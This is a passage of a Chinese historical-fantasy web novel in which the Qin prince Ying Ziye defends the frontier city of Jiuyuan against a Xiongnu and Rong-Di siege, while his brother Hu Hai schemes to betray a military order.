连接完成,公输仇又进行了一系列复杂的调试,激活了机关臂内部的符文和能量回路。
只见那机关臂上
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的红光流转速度加快,仿佛活过来一般,五指甚至微微动弹了一下。
“成了!”
公输仇声音带着兴奋。
“不过,蒙将军如今身体虚弱,需待元气恢复些许,再尝试适应和操控此臂。”
“届时,还需循序渐进,不可操之过急。”
赢子夜看着那条与蒙恬身体初步连接的机关臂,微微颔首。
“有劳先生,蒙将军,好生休养。”
就在这时,密室门被轻轻推开,一名斥候校尉快步走入,单膝跪地。
“启禀殿下!边境急报!”
“讲。”
“据各郡传回消息,近日,戎族、狄族、犬戎等数个草原部族,分别对我雁门、云中、上郡、北地、代郡等多处边境戍堡,村落发动了小规模奇袭!”
“幸得殿下此前预警,各郡严加戒备,敌军均被击退,我方损失不大,仅有些许物资被焚毁。”
赢子夜目光微凝。
“匈奴主力呢?”
“回殿下,匈奴大军依旧在百里外按兵不动,并无异动。”
赢子夜沉吟片刻,嘴角勾起一抹冷冽的弧度。
戎族、狄族……
这些部落平日里虽与匈奴有摩擦,但此时同时发动袭击,未免太过巧合。
看来,匈奴是想用这些附庸或怂恿的小部落进行试探和骚扰,牵扯秦军精力。
他心念电转,立刻有了决断,对阴影处道。
“传令暗河。”
一道身影浮现。
“命一队精锐,潜入狼族活动区域,找到胡亥。”
赢子夜声音平静,却带着不容置疑的意味。
“告诉他,戎族、狄族等部趁火**,袭扰帝国边境。”
“命他即刻率狼族骑兵,奇袭这些部落的后方营地,以作惩戒!务必让其首尾不能相顾!”
“诺!”
暗河成员领命,身影消失。
一直静立一旁的少司命,此刻微微蹙眉,用她那空灵的声音轻声提醒道。
“夫君,胡亥公子…恐怕未必会听从调遣,出手相助。”
她心思细腻,对胡亥的秉性有所了解。
赢子夜闻言,却是淡然一笑,笑容中带着一丝洞察一切的深邃与算计。
“本公子自然知道他未必会听令,此举,本就是试探。”
他走到窗边,望着北方漆黑的夜空,语气悠远。
“正好借此机会,看看这位十八弟,在面对帝国命令时,会作何反应。”
“是阳奉阴违,是按兵不动,还是…有其他更精彩的表演?”
“同时。”
赢子夜回过头,眼中寒光一闪。
“也能瞧瞧,戎族狄族这次的袭击,背后到底有没有他狼族的影子!”
“若他狼族干净,为何匈奴能如此轻易调动这些部落?”
“若他不干净…那这北疆的水,可就更有意思了。”
少司命闻言,紫眸中闪过一丝了然,不再多言。
赢子夜重新将目光投向床榻上昏睡的蒙恬,以及那条闪烁着红光的机关臂。
北疆的棋局,越来越复杂了。
但好在每一步落子,无论对方如何应对,都在他的算计之中。
现在,就看胡亥,会走出哪一步棋了……
第341章 笑到最后的,才是赢家!
楼兰王庭。
不同于中原宫殿的恢弘,却自有一番异域风情的华丽与神秘。
巨大的穹顶绘着日月星辰,墙壁上镶嵌着彩色的琉璃,空气中弥漫着香料与酥油混合的奇特气味。
然而此刻,王庭内的气氛却与这华丽的装饰格格不入。
充满了紧张、惶恐,以及一种…莫名的亢奋。
楼兰王尉屠耆高坐于镶满宝石的王座之上,眉头紧锁,手指无意识地敲击着扶手。
下方,文武大臣分列两侧,吵嚷声几乎要掀翻屋顶。
“大王!大秦三十万大军陈兵我扦泥城外!这是赤裸裸的挑衅!是宣战!”
一名身着华服,肚皮滚圆的贵族激动地挥舞着手臂。
他是主战派的代表之一。
“我楼兰立国数百年,何时受过这等**!必须予以坚决回击!”
“回击?拿什么回击?”
另一名较为老成的大臣忧心忡忡。
“扦泥城守军不足三千,全国兵力加起来也不过五万!如何抵挡三十万虎狼之师?那可是横扫六国的大秦锐士啊!”
“哼!尔等何必长他人志气,灭自己威风!”
一名年轻气盛的武将昂首出列,脸上带着近乎盲目的自信,仿佛楼兰是天朝上国一般!
“我楼兰勇士,自幼在马背上长大,弓马娴熟,更熟悉沙漠地形!”
“秦军虽众,不过是无根的浮萍,在这大漠之中,补给困难,水土不服!”
“只要我等依托城池绿洲,层层阻击,定能让秦军铩羽而归!”
这番自大的言论,竟然引得不少年轻贵族和武将纷纷附和!
“没错!况且,匈奴大单于不是已经遣使传来密信了吗?”
又一名大臣压低声音,带着一丝得意道。
“匈奴正在集结大军,准备南下灭秦!”
“只要匈奴一动,秦军必然首尾难顾,哪里还有精力来管我们西域?”
“说不定,到时候我们还能趁机……”
他话没说完,但意思不言而喻,是想趁火**,捞取好处。
这话顿时让许多原本犹豫的大臣眼睛亮了起来。
是啊,背后有强大的匈奴撑腰,还怕他秦国作甚?
一直沉默不语的大祭司,一位身披白袍,面容枯槁的老者,此刻也缓缓睁开浑浊的双眼,用沙哑的声音开口道。
“天神启示,楼兰当兴。”
“秦军虽强,然其行不义,必遭天谴。”
“匈奴乃草原雄鹰,得其相助,我楼兰无忧!”
连大祭司都这么说了,王庭内的主战情绪瞬间达到了顶点!
几乎所有人都觉得,有匈奴在后面,秦国不敢把他们怎么样。
楼兰王尉屠耆看着群情激愤的臣子,又想到匈奴使者私下许诺的“共分秦地”的美好蓝图,心中的天平终于倾斜。
他本就对秦国的强势介入心怀不满。
此刻在强援的鼓舞和臣子的怂恿下,一股豪情涌上心头!!
他猛地一拍王座扶手,站起身,朗声道:
“众卿所言极是!我楼兰,绝非任人欺凌之辈!大秦无故陈兵边境,视我楼兰如无物,此乃奇耻大辱!”
他目光扫过下方众人,声音提高。
“传本王旨意!”
“派遣使臣,即刻前往秦军大营,面见那秦将蒙犽!”
“告诉他,限其三日之内,率军退出我楼兰国境!”
“否则……”
尉屠耆脸上露出一丝狠色。
“我楼兰必倾举国之力,联合西域诸国,讨伐暴秦!勿谓言之不预!”
“陛下圣明!”
“楼兰威武!”
“讨伐暴秦!”
王庭之内,顿时响起一片狂热的欢呼声,仿佛他们已经取得了胜利一般。
所有人都沉浸在一种虚假的强大感中,完全忽略了城外那三十万沉默的黑色军团,所代表的真正含义。
很快。
一支打着楼兰旗帜的使团,带着国王的“最后通牒”,趾高气扬地离开了王城,朝着秦军大营的方向而去。
……
数日后。
狼族王庭大帐内,炭火盆燃烧得噼啪作响。
却驱不散那股子草原特有的腥膻与胡亥身上散发出的阴冷气息。
一名暗河成员,如同影子般立于帐中,低垂着头,将赢子夜的命令清晰传达。
“奉六公子殿下之命,戎族、狄族等部袭扰帝国边境,请胡亥公子即刻率狼族精锐,奇袭其后方营地,以解郡城之危,扬我大秦天威!”
胡亥懒洋洋地斜倚在铺着厚厚狼皮的软榻上,把玩着一柄镶嵌着宝石的**。
听完传令,脸上非但没有丝毫被命令的不悦,反而露出一抹异常真诚和热切的笑容。
他坐直身体,语气甚至带着几分“激动”。
“回去禀报六哥!就说十八弟领命!边境安危,亦是弟之分内之事!”
“请六哥放心,弟定当亲率狼族儿郎,全力出手,必让那些不知死活的戎狄蛮子,付出惨痛代价!”
那副兄友弟恭,为国分忧的模样,几乎毫无破绽。
暗河成员面无表情,只是再次低头:“属下一定将公子的话带到。”
随即,身影如同融入空气中般,悄然退出了大帐。
帐帘落下的瞬间。
胡亥脸上那热切的笑容瞬间消失得无影无踪。
取而代之的,是一种冰冷刺骨的嘲讽与算计。
一道魁梧的身影从帐幕阴影处走出,正是狼族单于挛鞮。
他皱着眉头,脸上横肉抖动,不解地问道。
“殿下,何必跟那赢子夜的走狗废话?”
“刚才直接杀了埋了,神不知鬼不觉!”
“到时候殿下只需说根本没接到消息,或许是传信的人半路被戎狄截杀了,他赢子夜又能如何?”
胡亥闻言,嗤笑一声,用**轻轻敲击着榻边,眼神如同毒蛇般阴冷。
“杀?挛鞮头领,你还是不懂我那好六哥啊。”
他站起身,踱了
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两步。
“他既然敢派人来传令,就必然算到了各种可能。”
“这人若死在狼族地界上,无论我们做得多么干净,以赢子夜的手段和疑心,这笔账最终都会算到我头上。”
“到时候,他就有足够的借口,直接对我,对狼族发难!”
“那才是真正的麻烦。”
挛鞮愣了一下,仔细一想,似乎确实是这个道理,但仍不甘心。
“那…殿下接下来打算如何?”
“难道真要按照他的意思,去奇袭戎狄后方?”
“这不是白白替他们打仗,还招惹戎狄那些疯狗吗?”
“打,当然要打。”
胡亥停下脚步,脸上露出一抹残忍而狡诈的冷笑。
“不仅要打,还要‘好好’地打。”
挛鞮更加困惑了。
胡亥走到他面前,压低声音,语气充满了戏谑。
“本公子率军奇袭戎狄后方,奈何…戎狄等部族营地空虚,缴获寥寥。”
他故意在几个词上加重了语气。
“或许,是他们料敌先机,提前将主力转移了?”
“又或者,是他们倾巢而出,去攻打秦人的郡城了?”
胡亥眨了眨眼,笑容愈发诡异。
“毕竟,戎狄凶悍,做出什么事,都不奇怪,对吧?”
挛鞮先是一怔,随即猛地反应过来,眼中爆发出恍然大悟的精光!!
他脸上的横肉因兴奋而抖动。
“殿下的意思是……”
“我们明面上出兵,做做样子。”
“但实际上,提前暗中将消息泄露给戎族和狄族?”
“让他们有所准备,提前撤离主力,或者干脆设下埋伏?”
“不错!”
胡亥满意地点点头。
“如此一来,我们既遵从了六哥的军令,出了兵,让他抓不到把柄。”
“又避免了与戎狄死磕,保存了实力。”
“更重要的是……”
他拖长了语调,眼中闪烁着算计的光芒。
“我们提前通风报信,等于卖了戎狄一个天大的人情!”
“让他们欠狼族一次!”
“将来,或许就能用这个人情,让他们在某些事情上…‘行个方便’。”
“一石三鸟!殿下高明!实在是高明!”
挛鞮彻底明白了胡亥的毒计,忍不住抚掌低笑,看向胡亥的目光中充满了敬畏与佩服。
这位秦国公子的心机,简直比草原上的狐狸还要狡猾百倍。
“去吧。”
胡亥挥了挥手,重新慵懒地躺回软榻。
“安排得巧妙些,别让人看出破绽。”
“挛鞮明白!定将此事办得滴水不漏!”
挛鞮重重抱拳,脸上带着狞笑,转身大步离去,开始布置这场“精彩”的表演。
大帐内,胡亥把玩着**,嘴角勾起一抹冰冷的弧度。
六哥,你想试探我?
那我就演一场好戏给你看。
看看最后,到底是谁,能笑到最后!
第342章 势与城池共存亡!
将军府后院。
清晨的阳光洒在院中。
蒙恬赤着上身,断臂处连接着那条闪烁着金属冷光与内部隐隐流动红芒的机关臂。
他额头沁出细汗,正全神贯注地尝试操控机关臂的五指做出抓握的动作。
然而,那五指的动作依旧显得有些僵硬、迟滞,远不如原本的手臂灵活。
几次尝试后,机关臂甚至因为能量输出不稳,掌心猛地窜起一小簇不受控制的火苗!
虽瞬间熄灭,却也将旁边的一块青石板灼烧得微微发黑。
蒙恬动作一僵,看着那焦黑的痕迹,又看了看自己无法随心所欲控制的“新手臂”。
刚毅的脸上,难以掩饰地掠过一丝深深的沮丧与无力感。
纵横沙场半生,如今却连最基本的动作都难以完美掌控。
这种落差,对于一位名将而言,无疑是巨大的打击!
“不必心急。”
一个平静的声音自身后响起。
蒙恬猛地回头,只见赢子夜不知何时已站在院门口,正静静地看着他。
他连忙想要行礼,却被赢子夜抬手阻止。
赢子夜走到近前,目光落在机关臂上。
“公输先生的技艺已是登峰造极,这手臂本身并无问题。”
“关键在于适应。”
“经脉接驳、引导,意念控制……皆需时间磨合。”
“你重伤初愈,气血未复,能初步连接已属不易。”
他拍了拍蒙恬完好的左肩,语气带着一种令人信服的沉稳。
“蒙将军,你是我大秦柱石,区区一臂之失,岂能折你锋芒?”
“待你身体彻底康复,加以练习,假以时日,此臂非但不会成为累赘,或能成为你克敌制胜的又一利器。”
感受到赢子夜话语中的信任与鼓励,蒙恬胸中涌起一股热流!
他重重抱拳,声音因激动而有些沙哑。
“殿下教诲,末将铭记于心!”
“末将定竭尽全力,早日适应此臂,绝不辜负殿下与陛下厚望,必以残躯,再为帝国效死!”
“嗯。”
赢子夜微微颔首,随即话锋一转,语气变得凝重。
“此外,有一事需告知将军。”
“你抵达九原的消息,本公子已命人严密封锁。”
“对外,尤其是对北疆军中,宣称你已在那夜伏击中…重伤不治。”
蒙恬瞳孔微微一缩,瞬间明白了赢子夜的深意。
他沉声道。
“殿下是怀疑…末将此次遇伏,并非意外?”
“不是怀疑,是肯定。”
赢子夜目光锐利。
“袭击时机、地点、手段,皆过于精准。”
“更像是一个精心布置的陷阱。”
“将军细想,当时可觉有何异常?”
蒙恬闻言,陷入沉思,眉头紧锁,回忆着那夜的每一个细节。
半晌,他猛地抬头,眼中闪过一丝寒光。
“殿下明察!末将当时亦觉蹊跷!”
“白狼部抵抗虽烈,但其部族勇士的作战方式,与后来出现的那些伏兵,颇有不同!”
“伏兵更加悍不畏死,配合也更像是…受过严格训练的军队!”
“而且,末将**箭后,意识模糊前,似乎瞥见伏兵中有人使用的弯刀制式,与狼族骑兵颇为相似!”
他语气沉重。
“末将怀疑,此事……极有可能有狼族参与其中!只是,苦无确凿证据。”
“狼族…胡亥……”
赢子夜眼中寒光更盛,但他并未立刻下定论,只是安慰道。
“将军放心,此事绝不会就此算了。”
“无论是谁,胆敢谋害帝国上将,本公子定会查个水落石出,给你,给死去的将士们一个交代!”
就在这时,赵弋苍与一名负责审讯的暗河头目联袂匆匆而来。
“主上,蒙将军!审讯有结果了!”
暗河头目声音带着兴奋。
“讲!”
“据那些俘虏交代,他们确是匈奴派遣的内应无疑!”
“但指使他们,并提供部分支援的,并不仅有匈奴,还有…戎族、狄族等几个部落的贵族参与!”
“他们潜入城中,任务便是在匈奴大军攻城,发出特定哨箭信号时,在城内制造大规模混乱,趁机夺取或打开城门!”
赢子夜与蒙恬对视一眼,果然如此。
里应外合之策!
而几乎同时,一名斥候校尉疾奔入院,气喘吁吁地禀报。
“殿下!将军!紧急军情!匈奴大营异动!”
“其左贤王已集结主力,似有拔营迹象!”
“此外,我军斥候发现,在匈奴大军两翼,突然出现了大量戎族、狄族、犬戎等部的骑兵!”
“数量……恐不下十万之众!”
“正与匈奴呈掎角之势,向我三郡方向逼来!”
左贤王?
并非匈奴单于亲至?
还有超过十万的仆从军?
赢子夜眼中瞬间闪过无数算计。
看来,匈奴这次是动真格的了,但依旧存了让仆从军打头阵,消耗秦军实力的心思。
他猛地转身,目光扫过院中众人,声音如同金铁交鸣,带着不容置疑的决断。
“传令!”
“所有校尉以上将领,即刻至郡守府议事厅集合!”
“诺!”
赵弋苍与斥候校尉齐声领命,转身飞奔而去。
……
郡守府。
议事厅内,气氛凝重得如同铁铸。
半炷香不到,所有接到命令的校尉以上将领已全部到齐,黑压压站了一片,甲胄碰撞声轻微作响。
每个人的脸上都写满了紧张与肃杀,显然都已得知了匈奴联军大兵压境的噩耗。
赢子夜立于主位之前,玄衣玉冠,面容冷峻,目光如电扫过全场,没有丝毫赘言,直接切入主题。
“情况,想必诸位都已知晓。”
“匈奴左贤王携本部精锐,汇合戎、狄等部超十万骑,兵锋直指我九原、云中、雁门三郡!”
“敌军势大,此乃北疆前所未有之危局!”
他声音清朗,却带着一股不容置疑的威严,压下了厅内细微的骚动。
“长话短说,军情紧急,本公子令下,需即刻执行,不得有误!”
“第一!”
赢子夜伸出一根手指,语气斩钉截铁。
“金荣听令!”
“末将在!”
“即刻起,九原郡四门紧闭,落闸上锁!”
“所有吊桥拉起!许进不许出!”
“严密**息,绝不能让城外的准确军情泄露给敌军!”
“同时,派人安抚滞留城中的商旅,告诉他们,朝廷大军不日即到,令他们安心待在客栈,不得随意走动,更不得滋事,否则,以通敌论处!”
“末将遵命!”
金荣重重领命,深知此令关乎城池安危。
“第二!”
赢子夜目光转向负责军械的将领。
“将城中所有库存守城器械——”
“**车、投石机、滚木礌石、火油金汁,全部检修完毕,运至城墙指定位置!”
“箭矢、**箭务必充足!”
“本公子要这九原城墙,变成一座刺猬,让匈奴人每前进一步,都付出血的代价!!”
“诺!”
军械官大声应道。
“第三!即
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日起,城中实行战时管制!”
“巡防营与守军混合编组,十二个时辰不间断巡逻!”
“重点监控粮仓、武库、水源及城墙各处!”
“凡有形迹可疑,散布谣言,试图纵火或破坏者,无需请示,立斩决!”
“内患不除,城池难守!”
“得令!”
负责城防的几位校尉齐声喝道。
赢子夜略微停顿,看向厅中诸将,沉声问道。
“雁门、云中两郡,现有守军情况如何?可有消息传来?”
一名负责通讯的参军立刻上前禀报。
“回殿下!雁门郡守军约一万一千人,云中郡约九千余人。”
“两郡守将皆已传来消息,表示已按照殿下先前指令,紧闭城门,严加戒备,决意死守待援!”
赢子夜闻言,眼中闪过一丝凝重。
三郡总兵力加起来不过四万余人,要面对超过十万的匈奴联军,敌我兵力悬殊巨大!!
他深吸一口气,声音变得更加冷冽。
“传本公子令给雁门、云中守将!援军已在路上!他们的任务只有一个——”
“据城死守!依托城墙之利,消耗敌军有生力量!”
“没有本公子亲令,绝不可擅自出城迎战,更不能被敌军诱敌之计所惑!”
“哪怕战至最后一兵一卒,也要给本公子钉死在城墙上!”
“谁敢弃城或怯战,株连三族!!”
“诺!”
参军凛然应命,迅速记录命令。
最后,赢子夜的目光落在了厅内几位气息尤为沉稳,眼神锐利的将领身上。
这些都是军中悍将,是守城的中流砥柱。
“金荣!”
赢子夜再次点名。
“末将在!”
“你身为九原主将,统筹全局,坐镇中央,随时策应各方!”
“同时,北门直面匈奴主力可能的主攻方向,由你亲自督战!”
“末将誓与北门共存亡!”
金荣抱拳,声如洪钟。
“钟离昧!”
“末将在!”
钟离昧踏前一步,英气勃勃。
“西侧城墙及城门,交予你手!”
“西门外地势相对开阔,利于敌军骑兵展开,务必给本公子守**!不容有失!”
“殿下放心!钟离昧在,西门绝无闪失!”
钟离昧目光坚定。
“还有!”
赢子夜又点出一位老成持重的将领。
“东门及沿线城墙,由你负责!东门靠近山麓,需防敌军小股精锐攀爬偷袭,多加哨卡暗哨!”
“末将领命!”
“其余各位校尉,”
赢子夜目光扫过众人。
“各率本部兵马,听从三位将军调遣,分守各处垛口、马面、角楼!”
“各段城墙,需明确责任,相互协防!”
“一处有失,相邻段皆受牵连!”
“诺!!”
众将齐声怒吼,声震屋瓦,战意已被彻底点燃!
“都去准备吧!”
赢子夜一挥手。
“记住,你们身后,是帝国的疆土,是万千百姓!”
“此战,有进无退,有死无生!”
“誓死守卫九原!!”
众将再次咆哮,随即迅速转身,大步流星地冲出议事厅,奔赴各自的岗位。
转眼间!
厅内只剩下赢子夜以及少数亲卫。
赢子夜走到窗边,望着窗外迅速动员起来的九原城,目光深邃。
城墙之上。
守军奔跑的身影,器械搬运的号子声,以及那弥漫开来的肃杀之气,都预示着……
一场惨烈的守城血战,即将拉开帷幕!
第343章 黑云压城城欲摧!
夜色如墨,将北疆荒原吞噬。
然而,九原郡城外的地平线上,却亮起了无数移动的火点!
初时如繁星,继而汇聚成一片无边无际,缓缓蠕动着的火海!
沉闷如雷的马蹄声由远及近。
大地为之颤抖。
空气中弥漫开来的,是成千上万匹战马的腥膻气,皮革金属的冰冷味!
以及一种令人窒息的纯粹杀意!!
匈奴联军,终于兵临城下!
城头之上,火把猎猎,映照着一张张警惕凝重,却又坚毅无比的面孔。
秦军士卒紧握着手中的兵器,指甲因用力而微微暴出青筋,呼吸粗重,目光死死盯着城外那越来越近的死亡潮汐。
没有喧哗,没有骚动。
只有一种压抑到极致的沉默,以及一种与城墙融为一体的决绝!
赢子夜玄衣玉冠,在蒙恬、金荣、钟离昧等将领的簇拥下,缓步巡视着城墙。
他所过之处,士卒们无不挺直了腰板,眼中爆发出狂热与信赖的光芒。
赢子夜的目光扫过每一处垛口,每一架**车。
检查着守备情况。
偶尔会停下,拍拍某个年轻士卒的肩膀,或是低声对将领嘱咐几句。
他的存在,如同一根定海神针,稳住了城头略显浮动的人心!
终于,匈奴联军在距城一箭之地外停下!
火光映照下,可见黑压压的骑兵阵列,狰狞的面孔,雪亮的弯刀。
一名身着华丽皮裘,头戴鹰羽冠的匈奴贵族,策马出阵,来到城下。
用生硬的秦语夹杂着匈奴语,高声叫骂!
“城上的秦狗听着!”
“我大匈奴天兵已至,尔等孤城一座,已是瓮中之鳖!”
“速速开城投降,献出财宝女子,或可饶尔等不死!”
“若负隅顽抗,待城破之日,鸡犬不留!!!”
城头一片死寂,唯有风声呼啸。
赢子夜走到墙垛前,目光冰冷地俯视着那名叫阵的匈奴将领。
声音清朗却带着穿透夜空的威严,清晰地传遍城上城下。
“小小匈奴!”
“尔等蛮夷,不修仁德,屡犯天朝边境,掠我子民,烧杀抢掠,罪恶滔天!”
“今日竟敢勾结戎狄宵小,陈兵城下,妄图撼动我大秦疆土,实乃螳臂当车,不自量力!”
他语气陡然转厉,声如雷霆。
“我,乃大秦六公子赢子夜!”
“在此正告尔等,此刻退去,尚可保全部落血脉!”
“若执迷不悟,待我大秦援军抵达,定将尔等尽数诛灭,亡族灭种!”
“勿谓言之不预也!”
那匈奴将领闻言,非但不惧,反而放声狂笑,笑声中充满了轻蔑。
“哈哈哈!黄口小儿,也敢大言不惭!”
“什么狗屁公子!待会儿攻破城池,老子第一个把你抓来,剥皮抽筋,以儆效尤!”
赢子夜眼中寒光一闪,不再多言。
他猛地从身旁亲卫手中取过一张铁胎硬弓,搭上一支特制的破甲箭。
弓开如满月,箭尖直指那名还在狂笑的匈奴将领!
“咻——!”
箭矢离弦,发出一声刺耳的尖啸,化作一道肉眼难以捕捉的黑线,瞬间跨越数百步的距离!
那匈奴将领笑声戛然而止!
他根本来不及做出任何反应,只觉得眉心一凉,随即一股恐怖的力量贯穿了他的头颅!
箭矢带着一蓬血雨和脑浆,从他后脑穿出,余势不减,又将他身后一名亲兵射穿!
“呃……”
他脸上的狂笑凝固,眼神瞬间黯淡,尸体晃了晃,直接栽下马来!
静!
死一般的寂静笼罩了城外庞大的匈奴军阵!
紧接着,九原城头爆发出震耳欲聋的欢呼声!
所有秦军士卒的士气瞬间暴涨到了顶点!
“风!”
“风!”
“风!”
“殿下神射!”
“大秦威武!”
赢子夜缓缓放下长弓,面色平静无波。
匈奴军阵中,短暂的死寂后,爆发出了惊天动地的怒吼!
左贤王所在的中军方向,传来了愤怒的号角声!
“攻城!!杀光秦狗!为骨都侯报仇!!”
随着一声令下,如同海啸般的匈奴联军,驱动战马,扛着简陋的云梯、撞木,如同潮水般向着九原城墙涌来!
箭矢如同飞蝗般率先升空,带着凄厉的呼啸,遮天蔽日地射向城头!
“御!”
金荣声嘶力竭地怒吼!
城头秦军早已准备多时!
巨大的盾牌瞬间竖起,组成密不透风的盾墙!
箭矢叮叮当当地砸在盾牌上,如同冰雹!
偶有箭矢从缝隙射入,带起一蓬血花,但倒下的人立刻被拖下,空缺被迅速补上!
第一波箭雨过后,匈奴步兵已然冲至城下,架起云梯,如同蚂蚁般向上攀爬!
“攻!”
钟离昧在西墙厉声下令!
早已等候多时的秦军士卒,
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立刻用长矛顺着云梯缝隙狠狠向下捅刺!
滚木礌石如同山崩般砸下!
烧沸的金汁劈头盖脸地浇下!
惨叫声、坠地声、兵刃碰撞声瞬间响成一片!
城墙之下,瞬间变成了血肉磨坊!
秦军作战,悍不畏死!
一名士卒被匈奴箭矢射中肩膀,怒吼着将箭杆折断,继续用长矛将一名刚冒头的匈奴兵捅穿!
另一名士卒被爬上城头的匈奴刀客砍中腹部,肠子都流了出来,他却红着眼睛抱住对方,一起滚下高高的城墙!
赢子夜并未直接参与普通士兵的厮杀。
他的目光锐利如鹰,扫视着战场。
很快,他发现了异常。
在攻城的匈奴和戎狄士兵中,混杂着一些身手明显矫健,气息阴冷的高手。
他们往往能轻易避开普通攻击,试图在城墙上打开缺口。
“夫人!还有焰灵、阿雪、蓉儿!”
赢子夜冷声喝道。
“那些杂鱼,交给你们了!”
“早就手痒了!”
焰灵姬娇笑一声,周身幽蓝火焰腾起,化作数条火蛇,精准地缠向一名刚刚跃上城头的狄族高手!
雪女纤手挥动,寒气弥漫,将一名试图偷袭的戎族勇士瞬间冻成冰雕!
端木蓉银针连闪,专破气门穴道!
少司命万**花,无声夺命!
四女各展神通,将那些企图凭借个人武勇破城的敌军高手死死挡住!
赢子夜自己则坐镇中央,不时挽弓搭箭。
每一箭射出,必有一名匈奴基层指挥官或勇猛之士应声而倒,极大地扰乱了敌军的进攻节奏!
战斗从深夜持续到黎明!
城墙上下堆满了尸体,鲜血将墙砖都染成了暗红色!
匈奴联军发动了数次猛攻,甚至一度有小队突上城墙,但都被秦军以血肉之躯硬生生打了回去!
天色渐亮,匈奴中军终于传来了收兵的号角。
潮水般的敌军如同退潮般撤了下去,留下了满地狼藉和无数尸体。
城头上,幸存的秦军士卒几乎人人带伤,拄着兵器大口喘息,脸上混杂着疲惫、庆幸与劫后余生的茫然。
赢子夜看着退去的敌军,脸上并无喜色,只有凝重。
他沉声道。
“金荣,统计伤亡,救治伤员,加固城防,补充器械。”
“匈奴……不会善罢甘休的。”
“末将明白!”
金荣抱拳领命,立刻拖着疲惫的身躯去安排。
第344章 城在人在,城亡人亡!
匈奴联军大营。
绵延十数里,篝火通明。
却弥漫着一股与昨日出征时截然不同的压抑与焦躁气氛。
中军王帐之内。
气氛更是凝重得如同暴风雨前的海面。
左贤王端坐在铺着完整虎皮的主位上,面色阴沉,手指无意识地敲击着金杯。
下方,戎族、狄族、犬戎等几个大部族的头目或代表,则是个个脸色难看。
有的身上还带着伤,显然昨夜的攻城战让他们损失不小。
更重要的是,士气受挫。
“左贤王!”
一名性情火爆的戎族少酋率先忍不住,猛地站起身,他脸上有一道新鲜的刀疤,更添几分狰狞。
“你当初可是信誓旦旦,说秦军主力被牵制,这三座边城空虚,我等联军一到,必能一鼓而下!”
“可现在呢?九原城碰得头破血流!”
“秦人守得跟铁桶一样!”
“我戎族儿郎死伤惨重!”
他这话如同点燃了引线,其他部族也纷纷抱怨起来。
“就是!狄族的勇士也不是白白送死的!”
“那滚油金汁,还有城上那些不要命的秦狗……”
一个狄族长老捶着胸口,痛心疾首。
“犬戎的狼崽子们折了不少,再这么打下去,部落里的女人孩子谁去养活?”
犬戎首领声音沙哑,带着不满。
“左贤王,我们可是冲着大单于的威名和许诺的好处来的!”
“不是来啃硬骨头的!”
“若是久攻不下,等到秦国的援军真的来了,到时候别说好处,咱们能不能全身而退都难说!”
另一个小部落的头人忧心忡忡地道出了所有人的担忧。
帐内一时间充满了抱怨、质疑和恐惧的声音。
这些部落之所以跟着匈奴干,无非是为了劫掠财富,扩张地盘。
可没想过要把自己的老本都赔进去,打一场看不到希望的攻坚战。
左贤王听着下方的喧哗,脸色愈发难看。
但他并未立刻发作,只是等声音稍微小了一些,才缓缓放下金杯,目光阴鸷地扫过众人。
“都吵什么?!”
他的声音不高,却带着一股久居上位的威压,让帐内瞬间安静了不少。
“区区一夜受挫,就让你们慌成这样?”
“忘了草原雄鹰的骄傲了吗?”
他站起身,走到帐中央,环视众人。
“九原城是块硬骨头,本王知道!”
“但你们以为,本王会打无把握之仗?”
他嘴角勾起一抹神秘而冰冷的笑容。
“告诉你们,城中…早有本王布下的**锏!只是时机未到,尚未发动而已!”
“更何况,昨夜攻城,不过是试探,我军真正的主力尚未全力出击!尔等所见,不过皮**!”
他走到那名抱怨最凶的戎族酋长面前,拍了拍他的肩膀,语气带着蛊惑。
“诸位首领,既然选择追随我大匈奴,就要有足够的耐心和信任!”
“大单于的魄力和智慧,岂是尔等可以揣度?”
“只要我等齐心协力,何愁城池不破?”
他回到主位,端起金杯,朗声道:
“诸位暂且回去,让勇士们好生歇息,饱餐战饭!放心,不出三日……”
左贤王将杯中马奶酒一饮而尽,重重顿在案上,眼中爆射出骇人的精光和绝对的自信。
“本王必拿下此城!”
“届时,城中财富女子,任尔等取用!”
“这北疆沃土,也将有**原儿郎一份!”
众部落头目被左贤王这番连哄带吓,又许以重利的话语说得将信将疑。
但见其如此自信,心中的疑虑和恐慌倒也暂时被压了下去。
他们互相看了看,最终纷纷举起酒杯。
“愿追随左贤王!”
“三日破城!”
帐内暂时恢复了表面的和谐,但那股暗流涌动的焦虑,却并未真正散去。
……
赢子夜站在城头。
寒风卷着硝烟和血腥气扑面而来。
他玄色的衣袂在风中猎猎作响,深邃的目光扫过城外匈奴联军退去后留下的满地狼藉,以及城墙上疲惫不堪,大多带伤的守军将士。
赵弋苍快步上前,身上还带着未散尽的杀气,声音低沉而凝重。
“主上,初步清点,昨夜一战,我军伤亡…约三千余人。”
“重伤者已送往医营,由端木姑娘带人全力救治。”
“**箭消耗近四成,滚木礌石、火油金汁亦损耗巨大,正在加紧补充。”
“另外……”
他顿了顿,语气更加沉重。
“雁门、云中两郡,自昨日午后便再无任何消息传出。”
“最后接到的烽火信号显示,他们亦遭到了猛烈攻击,如今恐怕…已被重重围困,音信断绝。”
赢子夜静静听着,脸上看不出喜怒,唯有指节微微收紧。
三千伤亡,对于守城方而言已是惨重。
而这,仅仅是第一夜!
雁门、云中情况更是不明。
那里没有他坐镇,没有焰灵姬等高手支援,守将虽也是忠勇之辈,但面对绝对优势的敌军,能支撑多久?
他仿佛能看到那两座城池在匈奴铁蹄下苦苦挣扎的景象。
“知道了。”
赢子夜的声音平静无波,却透着一股山雨欲来的压抑。
“伤亡将士,厚加抚恤。”
“器械损耗,命人连夜赶制、搜集,拆屋取梁,掘地寻石,务必补足。”
他转向赵弋苍,眼中寒光一闪。
“被动守城,终是下策。”
“匈奴联军看似势大,实则各怀鬼胎。”
“戎狄等部不过是乌合之众,经此挫败,军心必生间隙。”
“我们…得找个机会,主动出击!敲掉他们一两个指头,让他们知道疼!”
赵弋苍眼中精光爆射,身为武将,他更渴望进攻。
“主上英明!只是…时机如何把握?敌军势大,贸然出城恐**埋伏。”
“等。”
赢子夜吐出一个字,目光锐利如刀,望向城外连绵的敌营。
“他们在城中的‘钉子’已被拔除,但这消息,匈奴主力未必知晓。”
“他们费尽心机布下这枚暗棋,绝
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不会轻易放弃。”
“尤其是初战受挫,左贤王更需要城内的‘奇兵’来稳定军心,打开局面。”
“他们必定会设法联系,或者……启动备用方案。”
他嘴角勾起一抹冰冷的弧度。
“让我们的人,眼睛放亮些,盯死草原部族营地的一切异动,特别是夜间,任何可疑的信号、人员往来,立刻来报!”
“诺!”
赵弋苍凛然应命,随即又道。
“主上,还有一事。”
